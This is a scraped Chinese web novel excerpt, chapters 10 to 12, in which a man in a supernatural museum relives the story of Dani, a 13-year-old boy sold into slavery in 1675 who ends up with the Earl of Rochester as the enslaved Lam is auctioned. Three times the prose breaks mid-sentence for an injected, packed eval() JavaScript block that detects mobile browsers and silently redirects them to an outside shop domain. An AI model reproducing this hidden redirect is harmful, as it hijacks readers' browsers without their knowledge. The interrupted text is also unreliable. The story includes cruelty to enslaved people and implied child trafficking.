微不可察的腥味窜入鼻腔,发怒的周书云像卡住的自行车链条,突然停了下来,体内渐渐涌起一阵炙热,咽喉不受控制地反复吞咽。他转头盯着阴女手里的鱼,神智不由自主受到巨大吸引,再也无暇顾及害怕与愤怒。
“吃吧。”阴女将鲜血淋淋的鱼递到周书云嘴边。
他像头饿狼,抓起鱼塞进嘴里,疯狂啃食,牙齿咬得鱼骨咔咔作响。随着生鱼肉进入腹中,他的皮肤终于变回了原有的颜色——正常人的颜色。
阴女靠近他耳边,用仅有两人可闻的声音说:“接下来,您可以自己去实现愿望。”
周书云的眼泪忽然就落下来了。
10. 异境
远远的,已经可以看见营口的海岸了。
周书云不由自主握紧船舵,死死盯着停在那里的日本船。随后,他松开手走到舱门探出半个身子,对甲板上惬意吹着海风的阴女说:“阴女,我可以请求你一件事吗?”
阴女转过头来,眼睛被风迷得半闭着:“什么事?”
“等鬼子死光……”他顿了顿,像是下定某种决心般深吸一口气,“你就杀了我,随便立个碑写上名字就行。”
“您放心,阴女会将您吃得干干净净的。”阴女舔舔自己的尖牙,“一块骨头都不会剩下。”
————
周围的景象晃动起来,如烟雾般散了。
赵义之保持着触摸毛发的姿势,很久才回过神来,放下手。他低头呼气时,目光瞥见石台右下角的展品介绍。黑色的铭牌上有两个白色大字——龙须。
他无力地笑了两声,并不相信。
无论是之前的宴会也好,还是刚才看见的故事也好,与其说是某种怪异的现象,不如说是催眠更符合常理。赵义之开始将所有看似奇怪的事整合到一起,经过几分钟的认真分析后,得出了一个结论。
他被骗进了某种传销组织,目前正在经历被洗脑的过程。
有了这个认知后,赵义之不再对收留自己的馆主抱有感激,甚至产生了一丝想反抗的心思,不禁在暗暗评估,若是发生肢体冲突,自己的胜算有多大。
昨夜他摸过馆主的手臂,隔着衣服,依然可以感觉出他的纤瘦,而论身高,他好歹有186.8,肉眼所见和馆主差不多。万不得已发生暴力冲突,至少在一对一的情况下,他有信心不会输。
很快,赵义之又摇摇头,否定了和馆主发生冲突的选项,转身开门走出展室。
——昨……高速路……事故,两人当…………抢救无效……四人……雨天路滑……司机……注意…………意外……——
安静的走廊上隐约传来新闻播报的声音。赵义之凝神仔细听了听,这才轻轻关上展室的门,寻着声音的来源而去。
起初他还不太在意,想着有接收新闻的电器,至少他被关在这里的日子不会太无聊。然而随着他一层一层找下走,他才逐渐意识到周围似乎有些异样。
——昨天傍晚……G5高速路发生……事故,两人当场死亡……抢救无效死亡,四人……雨天路滑,请各位司机……注意观察路况……意外事故——
新闻的内容不断重复,始终都是与这起车祸相关。播报的声音收到信号干扰,断断续续,没有变大或变小,像是与他之间始终保持着相同的距离。
意识到这一点,赵义之浑身起了鸡皮疙瘩。而更令他感到不安的是,整座博物馆里,除开新闻播报、以及他自己的脚步声与呼呼吸声,就再没有任何动静。好似除了他,所有人都消失不见。
这是最可怕的。
于是赵义之仔细辨别着新闻播报传来的方向,来到一间没有镂空花纹大门的房间外,轻轻推开门。
——昨天傍晚七点十五分,G5高速路发生连环追尾事故,两人当场死亡,一人送医后经抢救无效死亡,四人重伤。雨天路滑,请各位司机谨慎驾驶,注意观察路况,避免发生意外事故——
播报的女声立刻清晰许多。
站在门口朝里面环顾一周,确定里面没有危险,赵义之才放慢步子走进去。
与之前他所见过的陈列展品的房间不同,这里像是一间单人办公室。沙发与茶几摆在进门不远处,正对门与书架。书架上放着一本台历,左边写着2020,右边正好翻到六月。胡桃色的书桌摆放在右面墙上的落地窗前,桌上有一台老式收音机,正反复播放赵义之听见的新闻。
赵义之走过去尝试着按下关闭钮,瘆人的声音才终于消失。
可没等他长舒一口气,便听得咔嗒一声,像无形之中有个人再次打开收音机,又开始播放同样的新闻。
赵义之的头皮一阵发麻,僵在原地不敢动。办公室里除了他,并没有第二个人的身影。
此时,外面的走廊上响起皮鞋走在木地板上的脚步声,干脆而低沉。
馆主穿的就是皮鞋,赵义之猛地想起来,大步走出房间:“馆主!”
他只看到消失在转角处的脚后跟。
“拉姆。”赵义之大喊着追上去,“拉姆等等!”
可当他冲到转角处一看,人影和脚步声又全都消失了。
“拉姆!”
他中气十足的声音孤独的回荡在博物馆里。
“别玩我了。我们坐下来聊聊行不行?人长嘴是用来交流的,我们交流一下?”
“聊都不肯聊?那你出来听我说也行,你先出来好不好?馆主?拉姆?出来嘛。”
此时的博物馆显得尤其空旷,让赵义之的脚步声若隐若现地出现回音。
前方两三米之处有一扇门,门上三分之一是镂空的雕花。透过镂空处,可以窥见里面石板样式的墙壁。赵义之走上前朝里张望一眼,顺手推门走进去。
“拉姆?”
里面没人。
他没有离开,走到石台前,望着中间圆柱上放着的将近成年男人手掌一半大小的十字架。这枚银质十字架已经失去它原有光泽,缝隙间藏着黑痕,若不是放在这个地方,想必根本不会有人注意到它。
他瞥了一眼石台右边的铭牌,根据经验,伸手抓起十字架。
铭牌上写着——达尼的十字架。
————
公元1675年三月。
年仅十三岁的他被以二十八英镑五便士的价格卖给奴隶商人。
卖他的人是父亲的弟弟,也就是他的叔叔。
叔叔是个赌鬼,老婆跑了便没有再娶。当他输光哥哥留下的所有遗产后,通过关系匪浅的妓女出售自己的亲侄子,然后一边数着钱一边领着奴隶商去家里抓人。
自从跟着叔叔生活,赵义之便没有吃过饱饭。他时常独自走进修道院,好心的神父会在神的指引下给他一个土豆或是半块面包。可也不能每天都去,所以他有一大的半时间是在山里,设下陷阱抓鸟抓野兔,吃饱再回叔叔家睡觉。有时抓到的猎物吃不完,他会拿到街上去卖,得到的钱便装进罐子里存起来。
等存够了,他要搬出去,建一座房子,每天有面包吃。
感谢主的赐予,阿门。
“放手!放开我!”赵义之挣扎着。
身形高大的壮汉像拎鸡仔般高高抓住他纤细的手臂,衣着华丽讲究的奴隶商眯起眼上下打量他一番,捏着精心打理过的胡子对门外的叔叔说:“这就是你说的‘什么活都可以干’的健硕少年?这么瘦,恐怕连水都挑不动吧?”
叔叔谄媚笑道:“您别看他瘦,力气大着呢。”
“你知道年纪这么小的,只有女孩能卖个高价的吧?”
“有不少贵族老爷可是更喜欢年纪小的男孩。”叔叔走进门来,捏起赵义之的脸给奴隶商看,“您瞧瞧,我这侄子长得还不错,肯定有人愿意出高价钱的。”
奴隶商盯着赵义之的脸看了片刻,又问:“他以前做过类似的事吗?”
“没有,当然没有!”
“好吧,他归我了。”奴隶商说完走出门。
赵义之慌张起来,挣扎得更厉害了:“叔叔救我!卡尔叔叔!您不能卖我!”
叔叔置若罔闻,送走奴隶商与自己的亲侄子,关上家门高高兴兴去赌场。
上船之前,赵义之先被带去铁匠铺。壮汉一只手死死摁着他的肩,一直手揪住他脑后的头发,让铁匠在他脖子间套上一只挂有他名字的铁环。
这一刻,他彻底成了奴隶达尼。
“带他回船上关起来,别让他跑了。”奴隶商吩咐壮汉,随后他自己便消失在波尔多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248783|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的街头。
奴隶商的贸易船停靠在繁华的夏特龙码头上,三根桅杆上的白色船帆全被收起来,只剩瞭望台上的尼德兰国旗迎风飘扬。
许多船只正在装货,健壮黝黑的男人们将葡萄酒一桶一桶抗在肩头搬上去,连海风都醉在酒香里。达尼趁壮汉与别的水手打招呼时,用脚后跟狠狠踩了他的脚,然后迅速挣脱桎梏逃跑。可没跑多远,旁边坐在木箱上喝酒休息的水手半路冲过来,将他一把扛起,还给壮汉。
“要是让货物跑掉,你可得吃大苦头。”捉住达尼的水手笑着对壮汉说,“该怎么感谢我?”
“让你拿这小子当沙包怎么样。”壮汉非常生气,扬手用力扇了达尼几个巴掌,将他扔进甲板下的船舱,扬着拳头恶狠狠警告他老实待着。
头顶的木板重新盖上,还好有盏晃动的煤油灯,才让达尼勉强看清密密麻麻挤在一起的人——黑色的人。或许是因为他们的皮肤过于黝黑,当充满同情与畏惧的目光投向达尼时,他只看见黑暗中一双双发光的眼睛。
格外瘆人。
尼德兰人的商船跨越大西洋前往美洲非洲,将当地土著抓上船,当做奴隶运回欧洲贩卖。这些土著挤在狭小的船舱里,脖子上是作为奴隶标志的铁项圈。等到有人买下他们,项圈上便会刻下主人的名字。
为了尽可能装下更多奴隶,船舱用来放置物品的隔层上也塞满了人。低矮的空间让他们无法起身或是站立,只能偶尔勉强翻翻身。隔层下的人也并没有好到哪里去,靠外的还有站立的空间,里面的便只能抱腿屈膝坐着。
稀薄的空气混和汗水发酵后的恶臭,几乎令达尼感到窒息,他甚至没有走到他们中间去的勇气,不禁后退半步,转身爬上木梯,用力拍打头顶的木板恳求外面的人能放他出去。
水手们在甲板上喝酒唱歌,在琉特琴声的伴奏下,比波尔多的酒馆更热闹。
离达尼最近的隔层上的男人伸出骨瘦如柴的手臂,拉了拉达尼,一面说着他听不懂的语言一面摆摆手,接着指了指人群中。
本就足够拥挤的人群尽全力为他腾出可以坐下的空隙,还好他身形小,才容得下。
达尼看向同样瘦骨嶙峋的黑人为他留出的地方,默默哭着走过去,坐下,终于还是忍不住小声哭泣。
他并不是这里唯一白色的人,坐在他右边的,是一个与他有着相同肤色的男人——他用粗麻布裹着身体窝在角落,船离港之后的几天,水手第一次来发食物时,达尼才发现他。
奴隶商几乎不怎么给他们水,就连食物也是隔几天才发一小块干巴巴的面包。饿得头晕的达尼拿到面包后迫不及待大口吃起来,还不等发面包的人离开船舱,他便已经吃完了。
“您发的面包太少了。”达尼走到发食物的水手面前乞讨,“请您再给我一块面包吧。”
水手用力将他推开,大声呵斥:“每个人只有一块面包!”
达尼继续祈求:“那、那请给我一点水,我已经好几天没喝水了。”
水手哈哈大笑:“你可以像他们一样,喝自己的尿。”
“我不想喝尿,请给我一点水。”他早已没有最开始来时的那股力气去反抗,饥饿和口渴使得他奄奄一息。
“滚开!”水手无情地揍了达尼一拳,不耐烦地发完食物迅速离开了。
达尼不得不回到原来的地方坐下,捂着饿疼的肚子。这时,他右边的男人捡起水手扔给他掉在木板上的干面包,丢进达尼怀里。这是达尼来到商船后,男人的第一个动作,此前,他便像是石膏一般闭着眼睛从未动过。
达尼非常感激地看向男人,手里紧紧拽着那块只有他手掌大小的面包:“您、您不吃吗……?”
男人又变回一座石膏的模样纹丝不动。
“谢谢您!”达尼礼貌地道谢,然后凑近男人的脖子去看他项圈上的名字,“拉……姆……先生。”
11. 若我能自由选择
拉姆先生几乎不吃东西。
不,准确来说,他没有吃过任何东西。每次商船的人来派发面包或是饼干,拉姆先生便会等人离开后将自己那份扔到达尼怀里。他非常感激,试图找些有趣的话题与拉姆先生拉进关系,可每次都是他喋喋不休地说,拉姆先生不做任何反应。
但他仍然坚持每天至少睡觉前和拉姆先生说一声晚安。
如果没有拉姆先生,他很可能已经饿死了。
适应饥饿后,达尼开始学习其他人做法,每天只吃一点,让手里的食物尽量撑到下次派发的时候。这其中还有另一个原因——如果拉姆先生饿了,他有能立刻拿出来的食物。尽管拉姆先生从未发出过任何声音。
船在进入圣乔治海峡即将到达英格兰的利物浦港时,奴隶们全被带上甲板,由奴隶商亲自清点。船舱中的人陆陆续续站起来,身体几乎赤裸着,他们在当初上船时被扒光衣服,只剩一块布用来遮羞。正好外面的光照下来,显露出黑人们只剩骨架的身体。
因长时间保持着一种压抑的姿势,他们的身体站不直,颤颤巍巍的,互相搀扶着才总算走出去。水手们嫌弃奴隶磨蹭,挥动手里的鞭子狠狠抽打,直到心里舒坦了才停下。
达尼不想挨打,立刻起身紧紧跟在队伍后面。
“你。”一个拿着鞭子的水手推开达尼走进船舱,来到拉姆面前,“站起来!不想挨打就赶紧滚上去!”
拉姆闭着眼,一动不动地坐着。所有奴隶中,唯独拉姆身上有条粗麻布,从头裹到脚。
眼看水手已经愤怒地扬起鞭子,达尼立刻冲过去挡在拉姆身前,露出可怜的表情哀求道:“善良的水手约里先生,请让我扶拉姆先生去甲板。”
水手不想收回已经扬起的鞭子,顺势落下抽在达尼身上:“达尼,这是你多管闲事的惩罚。在我改变主意前,带他上去。”
“是、是的……”达尼捂着受伤的手臂,咬牙忍着痛,艰难地从齿缝见挤出几个字。
他转过身,正要扶拉姆起来,却发现拉姆的眼睛不知何时睁开了。
这是一双黯淡无光失焦的灰白色眼睛,宛如山雾弥漫的深林,寂静、幽邃、了无生气。达尼曾经见过这样的眼睛,那是个星河漫天的夜晚,被山贼杀害的一男一女倒在马车旁,死不瞑目,等到山贼掠走所有值钱的东西,他从躲避的草丛里走出来,看着两双了无生气的眼睛小声痛哭。
那是他的父亲和母亲。
“麻利点!你还想挨鞭子吗?”
达尼打了个激灵,上前挽起拉姆的手臂:“拉姆先生,我们出去吧。”
拉姆还是没有做声。但这一次,他慢慢站了起来,身上的麻布滑落在地板上。他没有捡起,在达尼的搀扶下走上甲板,蹲在奴隶堆里。
“全在这里了。”最后走上来的水手对奴隶商说。
奴隶商手里拿着翻开的名册,一一对照确认数量,目光最后落在拉姆的脸上,露出精明的笑:“拉姆,我亲爱的拉姆,你终于肯睁开双眼了。如雕塑般美丽的你,如果拥有一双看得见的眼睛,想必定能为我带来更大的财富。”
卷曲的浅棕色头发在阳光的照耀下,竟泛起金色的光。袒露在外的身体没有因缺少进食而变得干瘪,虽然称不上健壮,但仍旧保持着薄薄的一层肌肉,修长而流畅。精致的眉目、翘挺的鼻子、红润的嘴唇,这样的他坐在一群干枯疲惫的黑人中间,显得尤其惊艳。
连达尼这样的小孩,都看得眼睛发直。
“给拉姆找件配得上他的衣服,带他去擦擦身体。”奴隶商指挥旁边的人,“别做出格的事。”
达尼见状也站起身:“安东尼先生,请让我也——”
“不行,达尼。”奴隶商的语气忽然淡下来,“你得留在这里。”
一左一右两名水手将拉姆带走了,达尼不停朝他们离开的方向担心回望,竖起耳朵时刻听着那边的动静。他害怕拉姆先生的态度惹恼那些水手,所以他必须时刻关注着,好在第一时间冲过去替拉姆先生解围。
清点完毕的奴隶商将名册递给旁边的大副:“到了利物浦,先将黑人带去奴隶市场交给鲁斯先生。”
“那……达尼呢?”大副问。
奴隶商又捏起了他那滑稽的胡子,盯着达尼思考起来:“毕竟花了二十八英镑五便士……去打听一下,是否有贵族愿意买下一名白奴,我想应该很快就会收到回应。对了,记得着重提一提达尼的年龄,十三岁。”
大副抬眼瞥向达尼,随后收回视线:“明白。”
“如果达尼是女孩子就好了。”奴隶商意味深长地补充。
抵港的第二日,他的买家便有了消息,是罗切斯特伯爵威尔默特。
奴隶商准许达尼擦干净身体,穿上衣服——平民的衣服,然后聘来马车带上他与拉姆一同前往伦敦。
与想象中不同,拉姆先生穿的并非奴隶商身上那样有蕾丝的骑士装,而是极其简单的一块布,一边遮住半个身体搭在头上像帽子,另一边从手臂下绕上来,搭在被遮住的手臂上,对了,就是古罗马人穿的托加那样。拉姆先生的脸用面纱遮起来了,贪婪的奴隶商说这是为了在取下面纱时给人致命一击。
拉姆先生就像是没有灵魂的提线木偶,任由奴隶商摆布。
达尼很想剪断奴隶商手里的线,放拉姆先生自由。
只可惜他是个连自己的自由都无法保证的小孩,他恨自己的无能为力。
马车行驶一天一夜,终于在第四天的下午,停在罗切斯特伯爵的宅邸门口。
定下交易后,奴隶商与威尔默特约定好交货的时间,所以当仆从远远看见马车,向他报告,他便不慌不忙从书房里走出来,站在会客厅的格子窗前,盯着跟在奴隶商身后经过花园的达尼。
“库里,你怎么看?”威尔默特问身边的仆从,“那个孩子值得我花七十英镑吗?”
仆从不做评论:“我去准备茶点。”
“不用了,我不喜欢那个尼德兰人,给了钱让他赶紧走。”威尔默特走回来坐在扶手椅上,左手托着腮,右手不停敲击着木头扶手,看上去有些不耐烦。
皮靴走在大理石地面上发出清脆而富有节奏的噔噔声,不一会儿,奴隶商便摘下帽子放在胸前走进来,向威尔默特鞠躬行礼:“罗切斯特伯爵您好,鄙人是尼德兰商人安东——”
威尔默特挥挥手打断他的话:“领了钱就快走,把他留下就行。”
在一旁等待的仆从双手递上早已准备好的支票,面带微笑恭敬地微微弯下腰:“一共七十英镑,请您确认。”
奴隶商接过支票立刻放进怀里:“不用确认,我相信伯爵。”随后他又拿出一张请柬,笑眯眯地递给仆从,转身对威尔默特说,“罗切斯特伯爵,两日后,城外的克缇尔庄园将会举行一场有趣的活动,唯有获得请柬的人能参加,身份保密。活动从下午四点开始,欢迎您的驾临。”
“克缇尔庄园?”年轻的威尔默特轻哼一声,“难道又是什么无聊的茶话会?”
“是……”奴隶商想了想,忽然灵光一现说道,“是‘艺术鉴赏’活动。我们会为尊贵的客人准备好面具,不会让您感到不愉快。”
威尔默特终于表现出感兴趣的样子,将目光放在奴隶商那张令他厌烦的脸上:“如果有空我会去。希望你的‘艺术’不会令我失望。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248784|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“当然。”奴隶商丝毫不掩饰自己此刻的欢喜,再次向威尔默特鞠躬行礼,“那鄙人在克缇尔庄园恭候伯爵。”
“库里,送他出去。”
“不必劳烦,鄙人告辞。”
奴隶商擦拭得十分光亮的皮靴再次在大理石的地板上踩得噔噔作响。随着脚步声远去,威尔默特打个哈欠,向仆从库里伸出一只手。在他手心摊开的一瞬间,库里便将请柬放上去。他是个非常贴心的仆从,能预判威尔默特绝大部分的动作。
“听说你是法国人?”威尔默特一边看着请柬上的内容一边用法语问达尼,“叫什么名字?”
达尼在发愣,直到库里干咳一声提醒,这才反应过来,立刻学着奴隶商的模样鞠躬行礼:“我叫达尼,伯爵阁下。”
威尔默特拎起请柬的一角晃动,斜眼看着达尼问:“关于这个‘艺术鉴赏’活动,你知道多少?根据你的回答,我会考虑是否给你安排轻松的工作。”
“呃我……”达尼并未从奴隶商那里听说有这样的活动,但转念想到被特意打扮拉姆先生也随行来到伦敦,他似乎就有了头绪。
等得不耐烦的威尔默特敲响扶手皱眉催促道:“别忘了你现在是属于我的,瞒着我就要受惩罚。”
达尼的眼神变得明亮:“罗切斯特伯爵,我知道‘艺术鉴赏’的内容。奴隶商……安东尼先生身边有位宛如天使一般的男士,他和我一样也是奴隶。我想,安东尼先生是准备将他卖个大价钱。”
“天使?”威尔默特挑了一下眉,再次看了看请柬上的内容,“拍卖会?”
“我想是的!”达尼心中有了一个目标,他要说服伯爵去参加活动,“拉姆先生是我见过最美丽的人,不仅有英俊的外表,连心地也非常善良。如果没有拉姆先生,我说不定已经饿死在安东尼先生的船上了。”
“我不想听你说废话。”威尔默特这样说着,但却并未打断拉姆。
“只不过……”达尼低下头,表情显得有些难过。
威尔默特一手托着腮,没好气地追问:“只不过什么?你是只青蛙吗?得让人戳一下才会往前跳。”
先前还一脸陶醉的达尼此刻像只淋雨的小狗,耷拉着耳朵:“拉姆先生的眼睛看不见。我很担心拉姆先生,要是他被恶毒的人卖下来,一定会吃苦头的。拉姆先生实在太可怜了……”
威尔默特收回落在达尼身上的目光,坐正身体:“库里,你觉得怎么样,这个拉姆值得我去赴宴吗?”
库里谦逊而温和地微笑道:“即使这位拉姆先生不值得您浪费时间,但能看见庸人之间相互争斗,又怎么不算一种打发时间的乐趣呢。”
“那就这么决定了。”威尔默特站起身,“告诉那个尼德兰人,我会去的。”
库里微微低下头:“好的,我的主人。”
“还有,这个小法国佬实在太臭了。”威尔默特捏起鼻子指着达尼继续对库里说,“洗干净之前不许让他出现在我面前,更不许他睡觉。”他说这句话时故意用的法语,就是为了羞辱达尼一番,好像这么做会令他自己开心。
达尼偷偷抬起手臂闻了闻,疑惑地蹙起眉。他没有闻出自己身上有异味。
“我稍后便带达尼去洗澡。”库里恭敬地送走威尔默特。
“库里先生……”达尼胆怯地开口。
库里挺直后背微笑着说:“你不必在意,伯爵只是不擅长与孩子打交道。”
达尼不解:“那伯爵为什么要买下我呢?”
“或许……只是一时兴起。走吧,我带你去洗澡,干净的衣服已经送到你房间了。从明天开始,你跟着我学习如何照顾伯爵。”
12. 在疯狂中沉醉
年轻的约翰·威尔默特十一岁时继承父亲的爵位,当上第二位罗切斯特伯爵,十八岁作为海军参加与尼德兰的战争——这正是他讨厌的尼德兰人的原因。
如今,他二十八岁,是位小有名气的诗人。
尽管威尔默特有着令人尊敬的才能,但同时,他也是王宫中最不拘小节的异类。
奴隶商安东尼特意为他送去拍卖会的请柬,正是看中他的放浪不羁。他打赌,只要威尔默特亲眼见过拉姆,就一定会花大价钱将他买下来。
马车陆陆续续来到克缇尔庄园的门口,带着白色面具的男仆们纷纷迎上去,站在被帘子遮住的窗外,问里面的客人需要几副面具,得到回应后便按要求递上面具。这时,会从帘子后面伸出一只戴有手套的手,接下装饰着羽毛的面具。客人们直到戴上面具遮住容貌,才敲敲车厢示意车夫开门,从里面出来。
女人们盘头带帽,身着以绸带花边修饰的艳丽长裙。男人们各持一根手杖,脚下是高至小腿中段的高跟靴,蕾丝垂领如披肩般搭在外套上。珍珠是这些贵族最喜爱的装饰之一,无论男女,身上某处总是能见到它的身影。
达尼被眼前奢华的服饰吸引了目光,不禁有些晕头转向。
“库里。”威尔默特皱起眉不悦地喊道。
库里上前一步在威尔默特的耳边小声提醒:“伯爵,我们已经进入这次活动的庄园范围内了,还请不要叫我的名字,以免暴露您的身份。”
威尔默特扬着下巴,对库里的话充耳不闻:“难道你没有教那个小法国佬最基本的礼节吗?去告诉他,不要走在主人前面!”
“是。”库里小声应下。接着他来到达尼身旁拍了拍他的肩,“达尼,别乱走。我们都戴着面具,你会跟丢的。”
达尼眼中尽是对这个全新世界的惊叹:“这里太漂亮了,每个人都很漂亮。我这不是在做梦吧?”
威尔默特冷哼一声:“小乡巴佬。”
罗切斯特伯爵说得不错,他的确是个没见过世面的小乡巴佬。但是达尼没有因为伯爵毒辣的话而伤心,反倒是十分高兴。因为他很快就可以再次见到拉姆先生了。
他一定要想办法让伯爵买下拉姆先生。
拍卖会晚上才开始,庄园的主人为贵宾们准备了丰盛的晚宴,有法兰西的葡萄酒、尼德兰的奶酪、以及用印度香料腌制后炙烤的牛肉与鲜嫩的鳕鱼,当然还有洒满糖霜的白面包。仆人用精致的银具为宾客盛上食物,人们脱下镶有珍珠的手套,拿起刀叉享用美食。
作为随从的达尼拘谨地站在威尔默特身后,盯着面前的牛肉紧张到不停咽口水。他连做梦都不敢想能吃上这些东西。
玻璃酒杯被银勺敲击两下发出清脆的音节,随后奴隶商洪亮的声音在餐桌一端响起:“晚上好诸位贵宾。”
所有人不约而同朝他看去,当然,达尼也一样。
奴隶商没有入座用餐,而是站在某个人身后,一手高举着葡萄酒,脸上带着友好的微笑。在打扮时髦华丽的人群里,唯独那位穿得像古罗马人的男士十分朴素,同样也显得十分奇怪。
“拉姆先生!”达尼小声惊呼。
无视奴隶商自顾自大口吃肉的威尔默特听见达尼的话,终于扭头朝奴隶商的方位看去,随后皱了皱眉。
奴隶商站在拉姆身后,见威尔默特有了兴趣,脸上不由得划过一丝狡黠:“请举起你们的酒杯,让我们为接下来的活动干杯吧!”
“为什么他会出现在这里?”威尔默特毫不客气地用手里的叉子指着拉姆,“为什么他还戴着面纱?”
“因为他很害羞,先生。”奴隶商笑着回答。
“不对,先生!”达尼靠近威尔默特小声说,“他是在故意吊胃口!”
威尔默特扔下手中的刀叉,用餐巾擦擦嘴,然后站起身径直走到拉姆旁边,一把扯下他的面纱。
室内的自然光影下,拉姆如同一件静静放置的希腊雕塑,找不出一丝瑕疵。宾客们为他的容貌发出惊叹,就连亲手扯下面纱的威尔默特也惊讶得说不出话来。
“先生。”奴隶商对现场的反应非常满意,从威尔默特手中拿过面纱再次将拉姆的脸藏起来,“让我们继续享用晚餐吧。”他拍拍手,一旁的仆人便走过来,将威尔默特带回他自己的位置。
奴隶商再次举杯:“干杯。”
宴会的气氛显然比之前活跃许多,彼此保持着戒备的宾客相互碰杯、寒暄,期待着接下来的活动。
威尔默特却和他们不一样,反倒一句话也不说,像有什么心事,自己端着酒杯喝起来。
宴会结束后,宾客们各端着一支蜡烛,在仆人的指引下离开主馆,来到庄园后面的一间小礼堂,在绘着圣母的壁画下十指交叉相握,默默祷告。
“先生,您不祷告吗?”做完祷告的达尼小声问威尔默特。
威尔默特翻了个白眼:“主为什么不把那七十英镑还给我。”
达尼还想追问,看见库里将食指竖在唇前做出噤声的手势,这才作罢。
随着仆人不断点燃讲坛两侧巨大的蜡烛塔,礼堂逐渐变得明亮起来。奴隶商登台行礼,拍卖会正式开始。
商船带回来的不止有奴隶,还有许多稀奇的东西。比如大清国的青花瓷,比如日本的村正刀,比如印度的金佛……
全是市面上见不到的。
威尔默特懒懒地靠着椅背,不时打个哈欠,表示出自己对这场活动感到无聊透顶。直到奴隶商提高嗓音介绍今晚最后一件艺术品,他才终于坐正身体,将手里的牌子扔给坐在他右边的库里:“你知道怎么做。”
“我知道,先生。”库里脸上洋溢着笑容。
拉姆走上讲坛,脸上的面纱已经被取下。
奴隶商满意地扫过下面跃跃欲试的宾客,微笑着大声说:“最后的商品,‘雕塑拉姆’,起拍价,五百英镑!”
宾客纷纷哗然。这个价格已经超过绝大多数人三个月所挣的钱,足够买九个甚至十个黑奴!
“五百二十英镑。”库里举起手中的牌子,用自己平和的嗓音让喧闹归于平静。
他们三人坐在最后面,几乎可以看见整个礼堂的人。
“五百二十五英镑。”前面有男士开始竞价。
库里再次举起牌子:“五百五十英镑。”
“五百八十英镑!”
“六百英镑。”
第一次与库里竞价的男士回头朝这边看了看,一咬牙,再次举起牌子:“六百一十英镑。”
库里从容不迫地紧咬着他:“六百三十英镑。”
那位男士只得无奈摇摇头,放弃了。
“还有人愿意出比六百三十英镑更高的价格吗?”奴隶商举起手中的小锤环顾一圈,“六百三十英镑第一次。”
威尔默特的嘴角勾起胜利的微笑。
“六百三十英镑第二次……”
角落里有位女士举起牌子,喊道:“八百英镑。”
全场因为震惊而鸦雀无声。
“给我!”威尔默特十分烦躁,从库里手中抢过牌子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248785|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
举起来,“一千英镑!”
达尼捂住狂跳不已的心脏,甚至忘记了呼吸。
那位女士再次举牌:“一千五百英镑。”
“两千英镑!”威尔默特用挑衅的目光盯着女士的后脑勺,可惜那位女士并没有回过头看他。
“两千三百英镑。”
“两千五。”威尔默特连英镑两个字都懒得说了。
女士终于垂下竖起的竞价牌。
能卖到两千五的价格,对奴隶商而言远超预期,是一笔相当惊人的数目,但他还是保持着绅士的风度,优雅微笑:“两千五百镑第一次……两千五百磅第二次……两千五百磅第三次!恭喜这位先生!‘雕塑拉姆’是属于您的了!”
在鼓掌声中,达尼终于长长吐出一口气,随后也激动地用力鼓掌。
实在是太好了!
威尔默特将竞价牌往库里怀中一扔:“去写支票。”
“好的,先生。”库里站起身,将竞价牌放在自己坐的椅子上,离开了礼堂。
拍卖会结束,没有收获的人已经起身准备离开,有收获的人放松身体等待最后的交接。而达尼,可爱的达尼,还在热泪盈眶地为威尔默特拍手鼓掌。
威尔默特恶狠狠地盯着满面春风的奴隶商,心情并不好:“该死的尼德兰人,竟然让我损失了一年的收入。停下,别拍了,可恶的小法国佬,你怎么会这么蠢!”
达尼这才停止鼓掌,兴奋地说道:“谢谢您,真的非常感谢您,先生。”
“谢我?”威尔默特被他搞得一头雾水,“为什么谢我?”
“就、就是想谢谢您。”
“别高兴得太早。你给我听清楚了,我付给你七十英镑的工资,你就得干七十英镑的活。什么时候干完,什么时候滚蛋。”
工资?达尼疑惑地看着威尔默特:“奴隶也能拿到工资吗?”
“奴隶?”威尔默特不悦地挑起眉尾,斜眼看向达尼,“蠢货,我不需要奴隶,尤其是像你这样的,更不需要。”
“我不是您买下的奴隶吗?”达尼尽可能地理解威尔默特的意思。
“找个时间,去把你那可笑的项链拿下来。不,别找个时间了,明天就去。顺便带上拉姆一起。别再让我看见那个脏东西。”
达尼抬手摸了摸自己的项圈,似乎明白威尔默特的意思了。
“该死的尼德兰人来了。”威尔默特皱眉说道。
奴隶商走过来向威尔默特行了一个礼,小声说:“罗切斯特伯爵,恭喜您获得世间仅此一件的艺术品。”
“支票你收到了?”
“已经收到了。”奴隶商礼貌微笑,“艺术品我已经打包好交给了您的仆从,今晚回去,您可以好好欣赏。我想,不需要我再多说什么了,你一定知道怎么做。”
